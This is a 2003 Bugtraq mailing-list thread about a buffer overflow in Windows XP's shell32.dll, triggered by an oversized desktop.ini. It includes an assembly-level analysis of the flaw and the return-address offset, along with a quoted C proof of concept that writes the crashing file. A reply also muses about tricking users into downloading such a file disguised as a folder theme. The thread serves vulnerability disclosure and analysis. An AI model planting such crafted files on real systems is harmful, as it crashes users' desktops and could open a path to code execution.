Message-ID: <NHBBJKMMFKCGNHDPMAJJGENCCAAA.exurity@rogers.com>
Date: Sun, 11 May 2003 03:28:54 -0500
From: "Executable Security" <exurity@...ers.com>
To: <bugtraq@...urityfocus.com>
Subject: Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1


Hi, there:

We were able to duplicate what was reported by Kristopher Matthews and aT4r
InsaN3. Actually, if you have the following test scenario:

File/Dir				Explanation
C:\
C:\temp\desktop.ini		Overflowing text file
C:\test				directory

The c:\temp\desktop.ini is the buffer-overflowing text file. Then, it
crashes not only Explorer.exe, but also Internet Explorer.exe, and
application programs (it crashed UltraEdit) that use file-open dialog box
trying to scan the c:\ hard drive. However, you can do the following safely
from a DOS prompt for the directory c:\test

Explorer c:\test

Of course, you cannot browse C:\test from the Explorer.exe GUI starting with
C:\ root directory because of the overflowing c:\temp\desktop.ini file.
Actually, I assume the overflowing file, no matter where it is located in
the subdirectory, will crash the Explorer.exe starting with any directory
higher above the overflowing desktop.ini file. (did not fully test though).

Down to the assembly level, this bug lies in the shell32.dll file as such:

7740F3C3                 lea     eax, [ebp-21Ch]		; full path to the
filename \desktop.in
7740F3C9                 push    eax
7740F3CA                 push    800h			; should be 400h I believe
7740F3CF                 lea     eax, [ebp-0A1Ch]
7740F3D5                 push    eax
7740F3D6                 push    offset a_shellclassinf ; ".ShellClassInfo"
7740F3DB                 call    ds:GetPrivateProfileSectionW

When GetPrivateProfileSectionW is called, it assumes the buffer to be as
large as two times of 800h. As you can see, the local buffer is only A1C -
21C = 800H for this string. So, it overflows if the desktop.ini contains a
long string. MSDN documents the third parameter for GetPrivateProfileSection
as such:

nSize
Specifies the size, in characters, of the buffer pointed to by the
lpReturnedString parameter.

To be precise, the buffer overflowing structure for this bug is such:

| --------------------- A1C ---------| EBP | RET | -----------------> higher
address

The replaceable RET address is located at (A1C+4)/2 = 510.

Due to the size limitation set by the 800H as well as the fact that the
overflowing string is converted to Unicode, the chance for executing a
malicious code (Unicode exploit code as well as exploitable RET address) is
very limited. That is the reason we are documenting it in details here.

We do not know how this bug affects shell32.dll files on other Windows
versions.

With due credits to those who wrote the emails quoted below.

Peter Huang
http://members.rogers.com/exurity/

-----Original Message-----
From: Kristopher Matthews [mailto:krism@...lsnare.net]
Sent: Friday, May 09, 2003 11:43 AM
To: 'Ryan Yagatich'
Cc: vuln-dev@...urityfocus.com
Subject: RE: Buffer overflow in Explorer.exe

I have tested and duplicated this behavior on a fully patched/updated
Windows XP Pro system.

1. The overflow is for that particular key, AFAICT.
1a. It will not work for the root (c:/) directory; explorer.exe does not
parse 'desktop.ini' for that directory. It will, however, work for any other
directory.
2. It crashes explorer.exe (which runs the task bar/start menu, etc) - It
looks for all the world like a standard buffer overflow; I believe a more
carefully crafted 'desktop.ini' file could be cause for explorer.exe to
unintentionally execute arbitrary code.
3. Download and execute untrusted code? Combine this with any of the other
popular expoloits for windows; also, it wouldn't be terribly hard to get a
user to download a 'desktop.ini' file to their "My Documents" directory (in
the guise, of, say, a folder them, which windows does support; e.g.
different background, file layout, etc); bam, whenever they open that
directory, explorer crashes.

Regards,
Kristopher


-----Original Message-----
From: Ryan Yagatich [mailto:ryany@...tek.com]
Sent: Thursday, May 08, 2003 6:28 PM
To: at4r@...esign.es
Cc: vuln-dev@...urityfocus.com

Hi,
        I don't quite understand the purpose behind this code. It creates
a read only file '/aT4r[at]3WDesign.es Security/desktop.ini' with the
contents of

[.ShellClassInfo]
AAAAAAAAAAAA {x2301}


        And then terminates? I don't have a windows machine available to
really explore this any, but what makes that entry in desktop.ini cause
this? Furthermore, is this issue only for that particular key or is it
generally just key/excessive parameter/missing value size that is
affected? And additionally, you mention that explorer will no longer be
able to operate when trying to browse the hard disk, but does this mean
globally, or when they try to browse the c:/ drive, or just that
particular folder?
        Please send me more information about this, (even if it references
past posts that I have missed) so that I can better understand the
severity of this. Espcially since to me, I still see it as someone needing
to download and execute untrusted software which causes a system crash,
and if that were going to happen there are far worse things that can be
done besides creating a small text file.

Thanks,
Ryan Yagatich


,_____________________________________________________,
\ Ryan Yagatich                     support@...tek.com \
/ Pantek Incorporated                  (877) LINUX-FIX /
\ http://www.pantek.com/security        (440) 519-1802 \
/       Are your networks secure? Are you certain?     /
\___E8354282324E636DB5FF7B8A6EDED51FD02C06C68D3DB695___\

On Wed, 7 May 2003, aT4r InsaN3 wrote:

>This bug allow a malicious an attacker to execute data with privileges of a

>user that is browsing the hard disk with explorer.
>
>tested against winxp SP1
>
>example code provided.
>
<snip>
>
>       strcpy(path,"\\aT4r[at]3WDesign.es Security");
>       mkdir(path);
>       SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
>
>       strcat(path,"\\desktop.ini");

>       bof=fopen(path,"w");
>       fputs("[.ShellClassInfo]\n",bof);
>       memset(evil,'A',BUFF);
>       fputs(evil,bof);
>       fclose(bof);
<snip>

-----Original Message-----
From: aT4r InsaN3 [mailto:at4r@...mail.com]
Sent: Wednesday, May 07, 2003 3:54 PM
To: vuln-dev@...urityfocus.com
Subject: Buffer overflow in Explorer.exe

This bug allow a malicious an attacker to execute data with privileges of a
user that is browsing the hard disk with explorer.

tested against winxp SP1

example code provided.


/*

        Buffer Overflow in explorer.exe - Proof of Concept
        Tested only against: Windows XP SP1

        Found by aT4r@...esign.es

        Saludos a:
        - #Haxorcitos@...et= { "Tarako", "Croulder", "Drakar" , "[back]",
"tyr" }:
        - #localhost and #darknet


        Usage: just execute this file.
                This code will crash your explorer every time you try to
browse your
harddisk
                execute this program again to delete the evil file ;-)

        (3ec.464): Access violation - code c0000005 (first chance)
        First chance exceptions are reported before any exception handling.
        This exception may be expected and handled.
        eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70
edi=000ece90
        eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0         nv up ei pl zr
na po
nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00010246
        00410041 ??               ???

        3W Design Security 2003.        http://www.3WDesign.es/
*/


#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>

#define BUFF 2300
void main(){

        char path[256];
        char evil[BUFF+1]="";
        FILE *bof;
        struct stat st;
        printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... ..
.\n . ..
...: \tProof of Concept (aT4r@...esign.es)\t:... .. .\n\n");
        strcpy(path,"\\aT4r[at]3WDesign.es Security");
        mkdir(path);
        SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);

        strcat(path,"\\desktop.ini");
        if (stat(path,&st)==0)
                { remove(path); exit(1);}//just execute this program twice
to remote this
file :P
        bof=fopen(path,"w");
        fputs("[.ShellClassInfo]\n",bof);
        memset(evil,'A',BUFF);
        fputs(evil,bof);
        fclose(bof);
        printf("evil file: %s Created. Try to browse your Harddisk
O:-)\n",path);


}

_________________________________________________________________
Hipotecas para todos los bolsillos con MSN Money.
http://money.msn.es/hipotecas/default.asp

Powered by blists - more mailing lists